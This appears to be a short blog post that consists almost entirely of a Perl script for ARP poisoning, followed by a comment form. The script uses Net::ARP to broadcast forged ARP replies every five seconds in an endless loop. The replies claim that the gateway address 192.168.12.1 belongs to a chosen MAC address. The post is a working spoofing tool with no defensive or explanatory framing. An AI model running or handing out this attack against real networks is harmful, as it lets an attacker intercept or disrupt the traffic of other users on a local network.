ARP Poisioning Uses Perl

#!usr/bin/perl
use Net::ARP;
use strict;
use warnings;
for (;;){
    Net::ARP::send_packet(
                   'eth0',                       # Device
                   '192.168.12.1',               # SourceIP (mygateway)
                   '192.168.12.255',             # Destination IP
                   '00:1E:EC:9F:DB:67',          # Source MAC
                   'FF:FF:FF:FF:FF:FF',          # Destinaton MAC
                   'reply'                       # ARP operation
    );
    print "packet sent\n";
    sleep(5);
}

發表迴響

在下方填入你的資料或按右方圖示以社群網站登入:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / 變更 )

Twitter picture

You are commenting using your Twitter account. Log Out / 變更 )

Facebook照片

You are commenting using your Facebook account. Log Out / 變更 )

Google+ photo

You are commenting using your Google+ account. Log Out / 變更 )

連結到 %s